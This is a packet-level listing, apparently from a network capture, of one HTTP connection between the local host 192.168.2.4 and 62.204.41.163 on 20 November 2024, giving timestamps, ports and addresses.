Nov 20, 2024 07:48:22.645198107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645231962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645261049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645262957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645284891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645297050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645298004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645339966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645348072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645380974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645415068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645430088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645457983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645459890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645490885 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645497084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645524979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645529032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645558119 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645564079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645596027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645600080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645652056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645664930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645687103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645689011 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645721912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645731926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645756960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645764112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645807981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645853043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645860910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645894051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645905972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645926952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645940065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645961046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645967960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.645993948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.645999908 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646027088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646030903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646060944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646064997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646094084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646097898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646126986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646135092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646159887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646167040 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646193981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646197081 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646223068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646260023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646265984 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646294117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646300077 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646326065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646337032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646359921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646370888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646469116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646471024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646503925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646536112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646537066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646555901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646569967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646581888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646604061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646615028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646637917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646641970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646672964 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646681070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.646709919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646743059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646775961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646809101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646842003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646873951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646905899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646939039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.646972895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647005081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647037983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647072077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647105932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647138119 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647171021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647202969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647236109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647269011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647305965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647363901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647397041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647428989 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647460938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647494078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647526979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647558928 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647593021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647625923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647660017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647691965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647727966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647761106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647793055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647825003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647857904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647891998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647926092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647958994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.647991896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648025036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648057938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648091078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648124933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648159981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648194075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648215055 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648226976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648231030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648262024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648273945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648296118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648299932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648330927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648334980 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648359060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648363113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648396969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648430109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648432970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648462057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648475885 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648497105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648513079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648529053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648542881 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648562908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648574114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648597956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648602009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648632050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648636103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648668051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648670912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648701906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648708105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648735046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648741007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648768902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648777962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648802996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648808002 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648835897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648843050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648869038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648901939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648910999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648935080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648941994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648968935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.648973942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.648999929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649008989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649034023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649064064 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649066925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649087906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649106979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649112940 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649139881 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649148941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649173975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649205923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649213076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649239063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649245024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649272919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649276972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649306059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649312973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649339914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649346113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649373055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649379969 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649406910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649416924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649439096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649442911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649471998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649487972 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649504900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649537086 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649543047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649568081 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649575949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649588108 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649615049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649619102 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649650097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649682045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649682045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649701118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649717093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649727106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649749041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649781942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649796963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649815083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649825096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649848938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649859905 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649882078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649885893 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649914980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649918079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649947882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.649952888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.649981022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650013924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650021076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650047064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650059938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650079966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650089025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650114059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650120020 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650149107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650151014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650182009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650208950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650216103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650224924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650249004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650280952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650289059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650316000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650317907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650350094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650353909 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650393963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650398016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650429010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650434017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650463104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650465012 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650496006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650499105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650530100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650532007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650563955 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650598049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650609970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650641918 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650643110 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650676012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650686026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650708914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650722980 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650743961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650751114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650779009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650790930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650814056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650846004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650866032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650878906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650882006 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650912046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650918007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650944948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650949001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.650978088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.650980949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651011944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651045084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651061058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651078939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651084900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651110888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651122093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651144981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651153088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651176929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651191950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651210070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651243925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651252985 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651277065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651277065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651310921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651324987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651364088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651379108 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651397943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651407957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651432037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651442051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651464939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651489973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651499033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651509047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651530981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651566029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651582003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651598930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651607037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651634932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.651642084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.651674032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.656646013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.656717062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.656728029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.656734943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.656753063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.656754017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.656770945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.656786919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.657314062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657337904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657355070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657361031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.657371044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657380104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.657397032 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657397985 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.657413960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657423019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.657429934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657439947 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.657445908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657455921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.657461882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657479048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.657480001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.657495022 CET	80	49753	62.204.41.163	192.168.2.4
